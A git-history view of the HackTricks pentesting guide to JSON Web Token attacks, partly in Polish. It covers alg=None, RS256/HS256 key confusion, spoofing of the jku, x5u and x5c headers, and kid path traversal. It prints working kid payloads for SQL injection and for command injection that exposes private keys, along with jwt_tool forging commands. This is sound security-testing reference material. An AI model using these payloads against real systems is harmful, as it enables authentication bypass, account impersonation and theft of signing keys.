hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

283 lines
18 KiB
Markdown
Raw Normal View History

# JWT Vulnerabilities (Json Web Tokens)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
2022-04-30 20:31:18 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
**Część tego wpisu opiera się na świetnym poście:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Autor wspaniałego narzędzia do pentestowania JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Quick Wins**
Run [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) with mode `All Tests!` and wait for green lines
```bash
2022-07-22 12:41:11 +00:00
python3 jwt_tool.py -M at \
2024-02-11 01:46:25 +00:00
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Jeśli masz szczęście, narzędzie znajdzie przypadek, w którym aplikacja webowa nieprawidłowo sprawdza JWT:
![](<../.gitbook/assets/image (935).png>)
Następnie możesz wyszukać żądanie w swoim proxy lub zrzucić używany JWT dla tego żądania za pomocą jwt\_ tool:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
Możesz również użyć [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur), aby uruchomić ataki JWT z Burp.
### Modyfikacja danych bez zmiany czegokolwiek
Możesz po prostu zmodyfikować dane, pozostawiając podpis bez zmian i sprawdzić, czy serwer weryfikuje podpis. Spróbuj zmienić swoją nazwę użytkownika na "admin", na przykład.
#### **Czy token jest weryfikowany?**
Aby sprawdzić, czy podpis JWT jest weryfikowany:
2024-02-05 02:28:59 +00:00
* Komunikat o błędzie sugeruje trwającą weryfikację; wrażliwe szczegóły w szczegółowych błędach powinny być przeglądane.
* Zmiana w zwróconej stronie również wskazuje na weryfikację.
* Brak zmiany sugeruje brak weryfikacji; to jest moment, aby eksperymentować z modyfikowaniem roszczeń ładunku.
2024-02-05 02:28:59 +00:00
2024-02-11 01:46:25 +00:00
### Pochodzenie
Ważne jest, aby ustalić, czy token został wygenerowany po stronie serwera, czy po stronie klienta, badając historię żądań proxy.
* Tokeny po raz pierwszy widziane po stronie klienta sugerują, że klucz może być narażony na kod po stronie klienta, co wymaga dalszego zbadania.
* Tokeny pochodzące z serwera wskazują na bezpieczny proces.
2024-02-11 01:46:25 +00:00
### Czas trwania
Sprawdź, czy token trwa dłużej niż 24 godziny... może nigdy nie wygasa. Jeśli istnieje pole "exp", sprawdź, czy serwer poprawnie je obsługuje.
### Atak brute-force na tajny klucz HMAC
[**Zobacz tę stronę.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Zmień algorytm na None
Ustaw używany algorytm na "None" i usuń część podpisu.
Użyj rozszerzenia Burp o nazwie "JSON Web Token", aby spróbować tej podatności i zmienić różne wartości wewnątrz JWT (wyślij żądanie do Repeater, a w zakładce "JSON Web Token" możesz zmodyfikować wartości tokena. Możesz również wybrać, aby ustawić wartość pola "Alg" na "None").
### Zmień algorytm RS256 (asymetryczny) na HS256 (symetryczny) (CVE-2016-5431/CVE-2016-10555)
Algorytm HS256 używa tajnego klucza do podpisywania i weryfikacji każdej wiadomości.\
Algorytm RS256 używa klucza prywatnego do podpisywania wiadomości i używa klucza publicznego do uwierzytelniania.
Jeśli zmienisz algorytm z RS256 na HS256, kod zaplecza używa klucza publicznego jako tajnego klucza, a następnie używa algorytmu HS256 do weryfikacji podpisu.
Następnie, używając klucza publicznego i zmieniając RS256 na HS256, moglibyśmy stworzyć ważny podpis. Możesz pobrać certyfikat serwera WWW, wykonując to:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
2024-02-11 01:46:25 +00:00
### Nowy klucz publiczny w nagłówku
Atakujący osadza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji podpisu (CVE-2018-0114).
Można to zrobić za pomocą rozszerzenia "JSON Web Tokens" w Burp.\
(Wyślij żądanie do Repeater, w zakładce JSON Web Token wybierz "CVE-2018-0114" i wyślij żądanie).
### Oszustwo JWKS
Instrukcje szczegółowo opisują metodę oceny bezpieczeństwa tokenów JWT, szczególnie tych, które wykorzystują roszczenie nagłówka "jku". To roszczenie powinno prowadzić do pliku JWKS (JSON Web Key Set), który zawiera klucz publiczny niezbędny do weryfikacji tokena.
2024-02-05 02:28:59 +00:00
* **Ocena tokenów z nagłówkiem "jku"**:
* Zweryfikuj URL roszczenia "jku", aby upewnić się, że prowadzi do odpowiedniego pliku JWKS.
* Zmodyfikuj wartość "jku" tokena, aby kierować do kontrolowanej usługi internetowej, co umożliwi obserwację ruchu.
* **Monitorowanie interakcji HTTP**:
* Obserwowanie żądań HTTP do określonego URL wskazuje na próby serwera pobrania kluczy z podanego linku.
* Podczas korzystania z `jwt_tool` w tym procesie, ważne jest, aby zaktualizować plik `jwtconf.ini` o lokalizację swojego JWKS, aby ułatwić testowanie.
* **Polecenie dla `jwt_tool`**:
* Wykonaj następujące polecenie, aby zasymulować scenariusz z `jwt_tool`:
2024-02-11 01:46:25 +00:00
```bash
python3 jwt_tool.py JWT_HERE -X s
2024-02-11 01:46:25 +00:00
```
### Przegląd problemów z Kid
Opcjonalne roszczenie nagłówka znane jako `kid` jest wykorzystywane do identyfikacji konkretnego klucza, co staje się szczególnie istotne w środowiskach, w których istnieje wiele kluczy do weryfikacji podpisu tokena. To roszczenie pomaga w wyborze odpowiedniego klucza do weryfikacji podpisu tokena.
#### Ujawnianie klucza przez "kid"
Gdy roszczenie `kid` jest obecne w nagłówku, zaleca się przeszukać katalog internetowy w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli określono `"kid":"key/12345"`, należy przeszukać pliki _/key/12345_ i _/key/12345.pem_ w katalogu głównym serwera.
2024-02-05 02:28:59 +00:00
#### Przechodzenie po ścieżkach z "kid"
Roszczenie `kid` może być również wykorzystane do nawigacji po systemie plików, co potencjalnie pozwala na wybór dowolnego pliku. Możliwe jest testowanie łączności lub przeprowadzanie ataków Server-Side Request Forgery (SSRF) poprzez zmianę wartości `kid`, aby celować w konkretne pliki lub usługi. Manipulacja JWT w celu zmiany wartości `kid`, zachowując oryginalny podpis, może być osiągnięta za pomocą flagi `-T` w jwt_tool, jak pokazano poniżej:
2020-12-03 10:09:49 +00:00
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation.
2020-12-03 10:09:49 +00:00
#### SQL Injection via "kid"
If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes:
2024-02-05 02:28:59 +00:00
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing.
#### OS Injection through "kid"
A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
2024-02-05 02:28:59 +00:00
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5u and jku
2022-05-01 13:25:53 +00:00
#### jku
jku stands for **JWK Set URL**.\
If the token uses a “**jku**” **Header** claim then **sprawdź podany URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
First you need to create a new certificate with new private & public keys
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Następnie możesz użyć na przykład [**jwt.io**](https://jwt.io), aby stworzyć nowy JWT z **utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametr jku na utworzony certyfikat.** Aby stworzyć ważny certyfikat jku, możesz pobrać oryginalny i zmienić potrzebne parametry.
2024-02-11 01:46:25 +00:00
Możesz uzyskać parametry "e" i "n" z certyfikatu publicznego, używając:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
2022-05-01 13:25:53 +00:00
#### x5u
X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certyfikatu) zakodowanych w formacie PEM. Pierwszy certyfikat w zestawie musi być tym, który został użyty do podpisania tego JWT. Kolejne certyfikaty podpisują każdy poprzedni, tym samym kończąc łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807. Bezpieczeństwo transportu jest wymagane do przesyłania certyfikatów.
Spróbuj **zmienić ten nagłówek na URL pod twoją kontrolą** i sprawdź, czy jakiekolwiek żądanie zostanie odebrane. W takim przypadku **możesz manipulować JWT**.
Aby sfałszować nowy token przy użyciu certyfikatu kontrolowanego przez Ciebie, musisz stworzyć certyfikat i wyodrębnić klucze publiczny i prywatny:
```bash
2021-03-10 17:23:17 +00:00
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Następnie możesz użyć na przykład [**jwt.io**](https://jwt.io) do stworzenia nowego JWT z **utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametr x5u na certyfikat .crt utworzony.**
![](<../.gitbook/assets/image (956).png>)
Możesz również wykorzystać obie te luki **do SSRF**.
2022-05-01 13:25:53 +00:00
#### x5c
Ten parametr może zawierać **certyfikat w base64**:
![](<../.gitbook/assets/image (1119).png>)
Jeśli atakujący **wygeneruje certyfikat samopodpisany** i stworzy fałszywy token używając odpowiadającego klucza prywatnego oraz zastąpi wartość parametru "x5c" nowo wygenerowanym certyfikatem i zmodyfikuje inne parametry, mianowicie n, e i x5t, to zasadniczo fałszywy token zostanie zaakceptowany przez serwer.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### Wbudowany Klucz Publiczny (CVE-2018-0114)
Jeśli JWT zawiera wbudowany klucz publiczny, jak w poniższym scenariuszu:
![](<../.gitbook/assets/image (624).png>)
Używając poniższego skryptu nodejs, możliwe jest wygenerowanie klucza publicznego z tych danych:
2021-03-10 12:26:57 +00:00
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
2024-02-11 01:46:25 +00:00
Możliwe jest wygenerowanie nowego klucza prywatnego/publicznego, osadzenie nowego klucza publicznego wewnątrz tokena i użycie go do wygenerowania nowego podpisu:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Możesz uzyskać "n" i "e" za pomocą tego skryptu nodejs:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information.
### ES256: Odkrywanie klucza prywatnego przy użyciu tego samego nonce
Jeśli niektóre aplikacje używają ES256 i używają tego samego nonce do generowania dwóch jwt, klucz prywatny może zostać przywrócony.
Here is a example: [ECDSA: Odkrywanie klucza prywatnego, jeśli użyto tego samego nonce (z SECP256k1)](https://asecuritysite.com/encryption/ecd5)
2022-05-01 13:25:53 +00:00
### JTI (JWT ID)
Zgłoszenie JTI (JWT ID) zapewnia unikalny identyfikator dla tokena JWT. Może być używane do zapobiegania ponownemu odtwarzaniu tokena.\
Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (0001-9999). Żądania 0001 i 10001 będą używać tego samego ID. Jeśli backend zwiększa ID przy każdym żądaniu, można to wykorzystać do **ponownego odtworzenia żądania** (konieczność wysłania 10000 żądań między każdym udanym odtworzeniem).
### Zarejestrowane zgłoszenia JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
2024-02-11 01:46:25 +00:00
### Inne ataki
2024-02-05 02:28:59 +00:00
**Ataki Relay między usługami**
2024-02-05 02:28:59 +00:00
Zaobserwowano, że niektóre aplikacje internetowe polegają na zaufanej usłudze JWT do generowania i zarządzania swoimi tokenami. Zarejestrowano przypadki, w których token wygenerowany dla jednego klienta przez usługę JWT był akceptowany przez innego klienta tej samej usługi JWT. Jeśli zaobserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi zewnętrznej, należy zbadać możliwość rejestracji konta na innym kliencie tej usługi przy użyciu tej samej nazwy użytkownika/adresu e-mail. Następnie należy spróbować ponownie odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy zostanie zaakceptowany.
2024-02-05 02:28:59 +00:00
* Krytyczny problem może być wskazywany przez akceptację twojego tokena, co potencjalnie umożliwia podszywanie się pod konto dowolnego użytkownika. Należy jednak zauważyć, że może być wymagana zgoda na szersze testowanie, jeśli rejestracja w aplikacji zewnętrznej jest konieczna, ponieważ może to wprowadzać w szare obszary prawne.
2024-02-05 02:28:59 +00:00
2024-02-11 01:46:25 +00:00
**Sprawdzanie ważności tokenów**
2024-02-05 02:28:59 +00:00
Ważność tokena jest sprawdzana za pomocą zgłoszenia "exp" Payload. Biorąc pod uwagę, że JWT są często używane bez informacji o sesji, wymagana jest ostrożna obsługa. W wielu przypadkach przechwycenie i ponowne odtworzenie tokena innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC JWT zaleca łagodzenie ataków ponownego odtwarzania JWT poprzez wykorzystanie zgłoszenia "exp" do ustawienia czasu wygaśnięcia tokena. Ponadto wdrożenie odpowiednich kontroli przez aplikację w celu zapewnienia przetwarzania tej wartości i odrzucania wygasłych tokenów jest kluczowe. Jeśli token zawiera zgłoszenie "exp" i limity czasowe testowania na to pozwalają, zaleca się przechowywanie tokena i ponowne odtworzenie go po upływie czasu ważności. Zawartość tokena, w tym analiza znaczników czasowych i sprawdzanie ważności (znacznik czasowy w UTC), można odczytać za pomocą flagi -R narzędzia jwt_tool.
2024-02-05 02:28:59 +00:00
* Może występować ryzyko bezpieczeństwa, jeśli aplikacja nadal weryfikuje token, ponieważ może to sugerować, że token nigdy nie wygasa.
2024-02-05 02:28:59 +00:00
2024-02-11 01:46:25 +00:00
### Narzędzia
{% embed url="https://github.com/ticarpi/jwt_tool" %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
2022-05-08 22:42:39 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-05-08 22:42:39 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}